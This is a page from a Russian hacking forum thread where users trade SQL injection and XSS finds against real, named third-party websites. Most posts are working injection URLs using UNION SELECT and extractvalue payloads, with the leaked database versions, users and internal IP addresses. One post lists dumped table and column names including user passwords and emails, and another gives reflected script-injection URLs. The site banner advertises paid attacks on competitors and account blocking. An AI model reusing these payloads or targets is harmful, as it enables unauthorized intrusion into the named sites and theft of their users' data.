Уязвимости SQLi, XSS и другие.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Уязвимости SQLi, XSS и другие.

Страница 4 из 35

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#31

13.05.2015, 21:23

tiger_x

Новичок

Регистрация: 09.05.2015

Сообщений: 27

С нами: 5797046

Репутация: 7

Код HTML:

http://www.sporte-leisure.com.au/info.php?id=-1%27%20union%20all%20select%20null,concat%280x74696765725F783C62723E3C62723E,0x56657273696F6E3A3A20,version%28%29,0x3C62723E557365723A3A20,user%28%29%29,null,null,null,null--%27

Version:: 5.1.48-community

User:: root@localhost

#32

14.05.2015, 01:44

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

перед постом проверяйте, не выкладывалась ли уже найденная вами уязвимость. сделать это можно так:

Google: site:antichat.ru вашсайтсуязвимостью.ру

#33

14.05.2015, 18:49

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

Господа, требуется написать некий пример, эксплоит с выводом.. а не поле = VULNERABLE и ковычка у параметра.

#34

14.05.2015, 19:11

MaxFast

Постоянный

Регистрация: 12.10.2011

Сообщений: 569

С нами: 7676246

Репутация: 94

Цитата:

Сообщение от Filipp

↑
1) SQL-inj
http://amphora.ru/books.php?pageit=
VULNERABLE

Код:

http://amphora.ru/books.php?pageit=10+procedure+analyse+(extractvalue(1,concat(0x3a,version())),1)--

XPATH syntax error: ':5.5.35-1+wheezy1+mh1-log'

#35

14.05.2015, 19:25

tiger_x

Новичок

Регистрация: 09.05.2015

Сообщений: 27

С нами: 5797046

Репутация: 7

Код HTML:

http://www.pidsphil.org/journal.php?id=40%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT%280x74696765725F783C62723E3C62723E,0x56657273696F6E3A3A20,version%28%29,0x3C62723E557365723A3A20,user%28%29%29,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

Version:: 5.5.32-log

User:: pidsphil_user1@10.20.112.231

#36

14.05.2015, 21:52

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Не очень я люблю xss

Код HTML:

http://tab.dp.ua/catalog.php?sword=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%32%33%29%3b%3c%2f%73%63%72%69%70%74%3e

Ну так же ради юмора

Код HTML:

http://tab.dp.ua/catalog.php?sword=%3c%68%31%3e%48%45%4c%4c%4f%3c%2f%68%31%3e

нашёл случайно в попытках вставить php код.

Там ещё sql есть

#37

15.05.2015, 00:19

Mister_Bert0ni

Участник форума

Регистрация: 10.05.2015

Сообщений: 142

С нами: 5795606

Репутация: 57

Цитата:

Сообщение от None

3) SQL-inj
http://www.imevents.ru/events.php?id=
VULNERABLE

[HTML]
...
...
,,subscribers,is_active,,temp_keys,session_id,,tem p_keys,code,,temp_keys,date,,users,id,,users,user_ pass,,users,email,,users,name,,users,company,,user s,activity,,users,position,,users,phone,,users,reg time,,users,last_visit_time,,users,last_ip,,users, code,,users,is_blocked,,users,is_active,,users,sub scribe,,users_sessions,session_id,,users_sessions, unid,,users_sessions,created_time,,year,id">

#38

15.05.2015, 11:20

tiger_x

Новичок

Регистрация: 09.05.2015

Сообщений: 27

С нами: 5797046

Репутация: 7

Код HTML:

http://www.muziekhuis.nl/details.php?id=-1%20union%20all%20select%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat%280x3C62723E54494745525F583C62723E,0x56657273696F6E3A3A20,version%28%29,0x3C62723E557365723A3A20,user%28%29%29,NULL,NULL,NULL,NULL,NULL

Version:: 5.5.43-0+deb7u1

User:: muzhuis_qbusa@194.109.22.94